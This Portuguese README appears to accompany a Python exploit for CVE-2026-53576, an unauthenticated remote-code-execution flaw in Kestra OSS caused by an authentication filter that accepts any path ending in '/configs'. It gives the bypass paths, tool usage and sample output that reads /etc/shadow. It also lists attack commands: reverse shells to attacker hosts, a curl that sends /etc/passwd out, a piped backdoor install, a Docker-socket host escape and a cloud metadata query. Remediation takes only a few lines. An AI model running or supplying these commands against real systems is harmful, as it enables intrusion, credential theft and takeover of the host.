
Kestra Exploit de RCE Não Autenticado (CVE-2026-53576)
Bypass crítico de autenticação que leva à Execução Remota de Código não autenticada
Exploit • Detalhes da Vulnerabilidade • Impacto • Remediação
Esta ferramenta destina-se apenas a fins educacionais e de testes de segurança autorizados.
- NÃO a utilize contra sistemas que você não possui ou para os quais não tenha autorização explícita por escrito para testar.
- NÃO a utilize para atividades ilegais.
- O autor NÃO é responsável por qualquer uso indevido desta ferramenta.
- Use por sua CONTA E RISCO.
CVE-2026-53576 é uma vulnerabilidade crítica nas versões do Kestra OSS até v1.3.20 que permite execução remota de código não autenticada por meio de um bypass no filtro de autenticação.
| Atributo | Valor |
|---|---|
| ID do CVE | CVE-2026-53576 |
| Gravidade | Crítica (9.8 CVSS) |
| Tipo de Vulnerabilidade | Bypass de Autenticação + RCE |
| Produto Afetado | Kestra OSS |
| Versões Afetadas | ≤ v1.3.20 |
| Vetor de Ataque | Rede |
| Autenticação Necessária | Nenhuma |
| Interação do Usuário | Nenhuma |
O filtro de autenticação no Kestra contém uma falha crítica de lógica:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
Essa verificação testa se qualquer requisição à API termina com /configs, em vez de corresponder à rota exata. Isso permite que atacantes contornem a autenticação anexando /configs a qualquer endpoint.
POST /api/v1/main/flows/configs (contorna a autenticação)POST /api/v1/main/executions/configs/configs (contorna a autenticação)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
| Opção | Descrição |
|---|---|
target | Endereço IP ou hostname do alvo (obrigatório) |
-p, --port | Porta (padrão: 8080) |
--https | Usar HTTPS em vez de HTTP |
-c, --command | Comando personalizado a ser executado |
--docker-check | Verificar acesso ao socket do Docker |
--cleanup | Excluir o fluxo após a exploração |
--delay | Atraso entre requisições (padrão: 2s) |
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
Saída:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
| Categoria | Gravidade | Descrição |
|---|---|---|
| Confidencialidade | ⚠️ Crítica | Ler qualquer arquivo (senhas, segredos, configurações) |
| Integridade | ⚠️ Crítica | Criar/modificar/excluir fluxos e dados |
| Disponibilidade | ⚠️ Alta | Desligar o sistema, esgotamento de recursos |
| Autenticação | ⚠️ Crítica | Bypass completo do Basic-Auth |
| Escalação de Privilégios | ⚠️ Crítica | Comandos executados como root (uid=0) |
| Fuga do Contêiner | ⚠️ Crítica | Comprometimento do host via socket do Docker |
Um atacante não autenticado pode:
Executar comandos arbitrários como root:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
Fazer pivô para o sistema host (se o socket do Docker estiver montado):
docker run -v /:/host --privileged alpine chroot /host
Acessar metadados da nuvem (se estiver em provedor de nuvem):
curl http://169.254.169.254/latest/meta-data/
Desligar instâncias vulneráveis:
sudo systemctl stop kestra
Bloquear acesso público:
iptables -A INPUT -p tcp --dport 8080 -j DROP
Aplicar regras de firewall:
Atualizar o Kestra para a versão corrigida mais recente:
Implementar autenticação adequada: